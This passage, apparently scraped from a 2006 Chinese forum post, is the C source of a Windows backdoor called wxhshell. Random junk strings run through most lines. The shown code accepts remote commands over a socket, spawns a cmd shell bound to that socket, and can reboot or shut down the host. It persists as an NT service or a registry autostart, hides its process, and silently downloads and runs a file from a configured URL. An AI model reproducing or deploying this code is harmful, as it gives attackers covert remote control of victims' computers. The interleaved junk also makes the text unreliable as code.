  else { Xb{ [c+.  
(xVsDAp=@  
    switch(cmd[0]) { |P -8HlOr  
  #$c Rkw  
  // 帮助 %kB8'a3  
  case '?': { 0JlZs]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r:F  
    break; / C>wd   
  } COW}o~3-4  
  // 安装 MxY/`9>E|+  
  case 'i': { u>TZt]h8  
    if(Install()) -[6z 1"*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *d"DA[(  
    else epU:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  ))&;}2{  
    break; m|=H#  
    } q{t*34R  
  // 卸载 NX|v=  
  case 'r': { [k6nW:C  
    if(Uninstall()) [ { bV4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ADpmvW f?  
    else =$nB/K,8AX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .G+Pe'4a  
    break; M@?xa/E64  
    } p;W.lcO`0  
  // 显示 wxhshell 所在路径 DdVF,  
  case 'p': { kAu+zX>S+  
    char svExeFile[MAX_PATH]; pek%08VSEU  
    strcpy(svExeFile,"\n\r"); wi4=OU1L)a  
      strcat(svExeFile,ExeFile); 1RK=,Wx  
        send(wsh,svExeFile,strlen(svExeFile),0); ?r?jl;A&  
    break; UN zlN  
    } -5T=:2M  
  // 重启 :_t}QP"  
  case 'b': { J2j U4mR  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); i{ \%e  
    if(Boot(REBOOT)) \'9PZ6q{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cG?cUw).E  
    else { n84GZ5O>7  
    closesocket(wsh); r8,romE$  
    ExitThread(0); nWMmna.5  
    } Kt"BE j  
    break; k'#(1(xj  
    } ;gs ^%z  
  // 关机 E;1Jh(58)b  
  case 'd': { I_xX Dr  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2n `S5(V  
    if(Boot(SHUTDOWN)) =k/IaFg 6w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  b^p"|L  
    else { fH)YFn/  
    closesocket(wsh); D<Z p!J1o  
    ExitThread(0); oiX+l5`pz  
    } tl><"6AIP  
    break; Clh!gpB c  
    } <<i3r|}  
  // 获取shell BQ @huns3  
  case 's': { T'LIrf  
    CmdShell(wsh); sgO'wXcoP  
    closesocket(wsh); dw TMq*e  
    ExitThread(0); 4"xPr[=iG  
    break; de>v  
  } "R3d+p  
  // 退出 kI:}| _  
  case 'x': { qQ0cJIISb\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \mV'mZ9>  
    CloseIt(wsh); 4E+hRKuo,  
    break; _L@2_#h!  
    } ,2j.<g&   
  // 离开 5vw{b?  
  case 'q': { ^|TG$`M(w  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); xCYE B}o9r  
    closesocket(wsh); Gkp< o  
    WSACleanup(); dlG=Vq&Y  
    exit(1); j S]><rm  
    break; =IUUeFv +r  
        } _>v<(7  
  } fgBM_c&9T  
  } 1&P<  
cKn`/\.H  
  // 提示信息 'w14sr%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1*dRK6  
} 7{xh8#m  
  } k<cgO[m   
g7&9"  
  return; E=cwq"  
} HgBGV0  
MdXchO-Lyc  
// shell模块句柄 BSkDpr1C  
int CmdShell(SOCKET sock) 1y lk4@`  
{ M4d47<'*~  
STARTUPINFO si; {U84 _Pi  
ZeroMemory(&si,sizeof(si)); U-:ieao@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )x]3Zq  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; F*.g;So  
PROCESS_INFORMATION ProcessInfo; gl]E_%tH  
char cmdline[]="cmd"; cetvQAGXY  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [xT:]Pw}  
  return 0; EZYBeqv  
} 9 Rx s  
0d3+0EN{  
// 自身启动模式 gd0Vp Xf'  
int StartFromService(void) |,aG%MTL  
{ .cR -V`  
typedef struct Y2O"]phi@  
{ ;/0 Q1-  
  DWORD ExitStatus; !o>H1#2l  
  DWORD PebBaseAddress; /[9t`  
  DWORD AffinityMask; e5OsI Vtjr  
  DWORD BasePriority; sg8/#_S1i  
  ULONG UniqueProcessId; M{$j  
  ULONG InheritedFromUniqueProcessId; )LdyC`S\c  
}   PROCESS_BASIC_INFORMATION; .-JCwnP  
Q//,4>JKf  
PROCNTQSIP NtQueryInformationProcess; &<+ A((/i  
3mSXWl^?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &E M\CjKv"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <&!v1yR  
7Su#Je]  
  HANDLE             hProcess; *A~ G_0B  
  PROCESS_BASIC_INFORMATION pbi; ;3 F"TH  
>+mD$:L  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )NO<s0?&  
  if(NULL == hInst ) return 0; M gC:b-&5_  
T<I=%P)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m] W5+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); cS.-7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (4@lKKiU%H  
5o/&T"]@  
  if (!NtQueryInformationProcess) return 0; 1pCieTz!PN  
6O@J7P  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kEO7PK/  
  if(!hProcess) return 0; 0[F:'_  
fS:1^A2,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @m?QR(LJ  
!I\!;b  
  CloseHandle(hProcess); &h~Xq^  
4HAp{a1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ||zb6|7I4  
if(hProcess==NULL) return 0; : iiw3#]  
>I<r)w]  
HMODULE hMod; )?2e  
char procName[255]; #eN{!Niy&U  
unsigned long cbNeeded; )9S>Z ZF  
}@+NN ?P  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); q\rC5gk >  
#XnPsU<J  
  CloseHandle(hProcess); $o+5/c?|  
!;Jmg  
if(strstr(procName,"services")) return 1; // 以服务启动 BI:k#jO!  
Jjl%R[mI  
  return 0; // 注册表启动 zyg:nKQW  
} [DHoGy,P  
p7ir*r/2  
// 主模块 c>1RP5vx  
int StartWxhshell(LPSTR lpCmdLine) yIb,,!y9{  
{ \]9.zlB  
  SOCKET wsl; !m(4F(!"h  
BOOL val=TRUE; D{v8q)5r  
  int port=0; `p'Q7m2y/b  
  struct sockaddr_in door; 7n o5b] \  
3@n>*7/E  
  if(wscfg.ws_autoins) Install(); +m}Pmi$  
__@zTSVb  
port=atoi(lpCmdLine); <} jPXEB"  
3jogD  
if(port<=0) port=wscfg.ws_port; E1&b#TE 6O  
ICB~_O5  
  WSADATA data; jEz+1Nl)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @=5qT]%U3J  
:y2p@#l#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   L&-hXGx=7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $hR)i  
  door.sin_family = AF_INET; =TP( UJ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); FA90`VOWYU  
  door.sin_port = htons(port); ]0B|V2D#e  
#&8}<8V  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { L0%hnA@  
closesocket(wsl); !'=15&5@  
return 1; }<jb vCeK  
} mfny4R1_  
{m8+Wju}  
  if(listen(wsl,2) == INVALID_SOCKET) { K={qU[_O  
closesocket(wsl); OTB$V k  
return 1; qpJ{2Q  
} t!1$$e?`r  
  Wxhshell(wsl); 7*wVI+  
  WSACleanup(); $XBAZ<"hd  
}%TSGC4{  
return 0; OndhLLz  
`N/RHb%  
} sP'0Sl~NU  
1\L[i];L8  
// 以NT服务方式启动 $[@0^IJq=K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hIJ)MZU|  
{ ~^)^q8  
DWORD   status = 0; -V % gVI[  
  DWORD   specificError = 0xfffffff; 0(8H;T  
w> xV  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ftk%EYT;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; V2|3i}V"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4*Z6}"  
  serviceStatus.dwWin32ExitCode     = 0; uqyB5V0gh  
  serviceStatus.dwServiceSpecificExitCode = 0; l_/C65%.:  
  serviceStatus.dwCheckPoint       = 0; 8 iC:xcN3  
  serviceStatus.dwWaitHint       = 0; w(nHD*nm  
N"[B=fU}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +~sd"v6  
  if (hServiceStatusHandle==0) return; I-NN29Sk  
_ia!mT <  
status = GetLastError(); n uQM^2  
  if (status!=NO_ERROR) :Zw @yt  
{ MVv1.6c7Y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {}>n{_  
    serviceStatus.dwCheckPoint       = 0; pN[0YmY#  
    serviceStatus.dwWaitHint       = 0; IO.<q,pP!_  
    serviceStatus.dwWin32ExitCode     = status; o**yZ2  
    serviceStatus.dwServiceSpecificExitCode = specificError; %qsvtc`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Zszs1{t  
    return; (y4#.vZh:  
  } 2_QN&o ~h  
d6 _C"r  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; h7_)%U<J2  
  serviceStatus.dwCheckPoint       = 0; K_-d(  
  serviceStatus.dwWaitHint       = 0; *HM?YhR  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,je`YEC  
} P}3}ek1Ax  
GgFi9Ffj  
// 处理NT服务事件,比如:启动、停止 T&"i _no*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;eB ~H[S/  
{ 9vGs;  
switch(fdwControl) f%qt)Ick  
{ ?Ce#BwQ>  
case SERVICE_CONTROL_STOP: Vs 0 SXj  
  serviceStatus.dwWin32ExitCode = 0; ":?T%v>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \ SCy$,m  
  serviceStatus.dwCheckPoint   = 0; `kN #4p  
  serviceStatus.dwWaitHint     = 0; ~KIDv;HSb[  
  { jkrx]`A{~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {GqXP0'  
  } j,%EW+j$  
  return;  h=RD O  
case SERVICE_CONTROL_PAUSE: q(z7~:+qNr  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; FJM;X-UOY  
  break; y)J(K*x/$  
case SERVICE_CONTROL_CONTINUE: wod/&!)]A  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =F%RLpNU4  
  break; 2O""4_G  
case SERVICE_CONTROL_INTERROGATE: M7y|EB))  
  break; )xl6,bq3  
}; f!GHEhQ9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F#q&(  
} Db03Nk>#  
CSn<]%GL  
// 标准应用程序主函数 .5tg4%l  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X1J;1hRUP  
{ Bmr<O !  
?KN:r E  
// 获取操作系统版本 0~E 6QhV:  
OsIsNt=GetOsVer(); DR+,Y2!_GT  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]YD(`42x  
Y\t_&px  
  // 从命令行安装 [ F([  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^o<[. )  
s^|\9%WD  
  // 下载执行文件 99ASIC!  
if(wscfg.ws_downexe) { KjR4=9MD  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6n w&$I  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,a(O`##Bn  
} jqoPLbxT  
m3 IP7h'  
if(!OsIsNt) { !QC<n/  
// 如果时win9x,隐藏进程并且设置为注册表启动 u35q,u=I  
HideProc(); 3B18dv,V  
StartWxhshell(lpCmdLine);  Q9y*:  
} wa3F  
else |+EKF.K  
  if(StartFromService()) L~0& Q  
  // 以服务方式启动 $iJnxqn  
  StartServiceCtrlDispatcher(DispatchTable); V,4.$<e  
else N=ifIVc  
  // 普通方式启动 j=3-Qk`"/|  
  StartWxhshell(lpCmdLine); IKm&xzV-  
%jKH?%Ih  
return 0; u(vw|nj`  
}
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只看该作者 1 发表于: 2006-10-10
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